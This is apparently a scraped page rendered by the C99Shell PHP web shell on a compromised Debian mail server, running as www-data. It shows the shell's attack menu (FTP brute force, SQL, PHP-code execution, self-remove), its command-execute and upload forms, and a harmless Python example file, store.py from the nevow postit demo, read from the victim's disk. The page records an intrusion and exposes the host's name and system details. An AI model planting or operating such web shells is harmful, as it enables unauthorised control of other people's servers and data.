!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.16 (Debian). PHP/5.3.3-7+squeeze19 

uname -a: Linux mail.tri-specialutilitydistrict.com 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC
2014 x86_64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/doc/python-nevow/examples/postit/   drwxr-xr-x
Free 129.91 GB of 142.11 GB (91.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     store.py (1.26 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
from zope.interface import implements, Interface

from axiom import item, store
from axiom.attributes import text, timestamp
from epsilon.extime import Time

class IPostit(Interface):
    def getPosts(how_many):
        """Retrieve 'how_many' posts from the database."""
    
    def getPost(id):
        """Retrieve the post 'id' from the database"""

class Post(item.Item):
    title = text()
    url = text()
    content = text()
    author = text()
    created = timestamp()

class Application(item.Item, item.InstallableMixin):
    implements(IPostit)

    name = text()

    def installOn(self, other):
        super(Application, self).installOn(other)
        other.powerUp(self, IPostit)

    def getPosts(self, how_many = None):
        return self.store.query(Post, limit=how_many, sort=Post.created.descending)

    def getOne(self, id):
        return self.store.getItemByID(id)

def initialize():
    s = store.Store('postit.axiom')
    postit = IPostit(s, None)
    if not postit:
        Application(store=s, name=u'Postit').installOn(s)
        Post(store=s, 
             title=u"This is the title",
             url=u"http://www.divmod.org",
             content=u"Here is the content for the link",
             author=u"dialtone",
             created=Time())
    return s

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.007 ]--